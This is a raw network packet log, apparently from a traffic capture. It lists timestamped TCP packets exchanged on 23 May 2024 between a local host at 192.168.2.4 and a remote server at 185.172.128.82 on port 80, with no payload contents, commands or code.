May 23, 2024 23:33:07.408091068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.408121109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.408850908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.408885002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.408907890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.408916950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.408936024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.408951998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.408989906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.409022093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.409579039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.409612894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.409636021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.409646034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.409678936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.409703016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.410383940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.410418987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.410450935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.410504103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.410505056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.411209106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.411242008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.411271095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.411273956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.411293030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.411308050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.411315918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.411356926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.411992073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.412024975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.412055969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.412058115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.412079096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.412097931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.412769079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.412802935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.412832022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.412834883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.412853003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.412878990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.413541079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.413574934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.413600922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.413606882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.413623095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.413641930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.413681984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.413714886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.414326906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.414361000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.414386988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.414395094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.414412022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.414474964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.415142059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.415175915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.415200949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.415208101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.415221930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.415266037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.416553974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.416588068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.416611910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.416620970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.416631937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.416656971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.416671991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.416702032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.416711092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.416738033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.416750908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.416771889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.416788101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.416817904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.417380095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.417414904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.417438984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.417448044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.417458057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.417480946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.417495012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.417515039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.417529106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.417548895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.417563915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.417599916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.418364048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.418397903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.418426037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.418428898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.418447018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.418463945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.418471098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.418514013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.418520927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.418571949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.419337034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.419372082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.419404030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.419425011 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.419436932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.419470072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.419465065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.419493914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.419503927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.419512033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.419570923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.420257092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.420289993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.420316935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.420322895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.420339108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.420357943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.420368910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.420392036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.420416117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.420484066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.421190023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.421224117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.421252012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.421255112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.421272993 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.421288013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.421303988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.421323061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.421355963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.421377897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.422233105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.422266006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.422293901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.422297955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.422331095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.422346115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.422441959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.423058033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.423090935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.423114061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.423124075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.423135042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.423171043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.425929070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.425962925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.426028967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.473548889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.473740101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.485189915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.485281944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.485333920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.485333920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.485460043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.485516071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.485740900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.485774994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.485795975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.485807896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.485821962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.485842943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.485857964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.485886097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.486354113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.486391068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.486413002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.486423016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.486433029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.486459970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.486464977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.486501932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.486977100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.487030983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.487152100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.487185955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.487202883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.487226009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.490106106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.490272999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.492813110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.492846966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.492889881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.492889881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493091106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493165970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493288994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493323088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493354082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493364096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493364096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493386984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493403912 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493441105 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493774891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493809938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493828058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493858099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.493927956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.493984938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494157076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494190931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494223118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494255066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494273901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494273901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494308949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494671106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494704008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494738102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494757891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494771004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494791031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494807005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494827986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494839907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.494848967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.494887114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.495438099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.495471001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.495493889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.495518923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.495826960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.495858908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.495888948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.495893002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.495910883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.495925903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.495948076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.495959044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.495971918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.495995045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.496018887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.496037960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.496676922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.496711016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.496728897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.496743917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.496753931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.496777058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.496790886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.496809959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.496829987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.496851921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.497474909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.497509003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.497531891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.497541904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.497566938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.497579098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.497589111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.497612000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.497629881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.497644901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.497668028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.497694969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.498334885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.498368979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.498394966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.498403072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.498418093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.498436928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.498456001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.498471022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.498493910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.498519897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.498521090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.498573065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.499176979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.499209881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.499231100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.499243021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.499272108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.499277115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.499290943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.499310970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.499325037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.499360085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500009060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500042915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500075102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500085115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500085115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500107050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500124931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500139952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500157118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500175953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500195980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500220060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500858068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500891924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500916004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500925064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500953913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500957966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.500991106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.500992060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.501012087 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.501034021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.501683950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.501718998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.501750946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.501775980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.501784086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.501795053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.501816988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.501837969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.501848936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.501877069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.501898050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.502554893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.502588034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.502614021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.502621889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.502635002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.502656937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.502665997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.502688885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.502711058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.502726078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.502759933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.502780914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.503364086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.503397942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.503423929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.503429890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.503446102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.503464937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.503477097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.503498077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.503514051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.503531933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.503592968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.504225969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.504259109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.504283905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.504292965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.504307032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.504327059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.504343033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.504360914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.504393101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.504410982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.504435062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505057096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505089998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505120993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505145073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505153894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505183935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505187988 CEST	80	49733	185.172.128.82	192.168.2.4
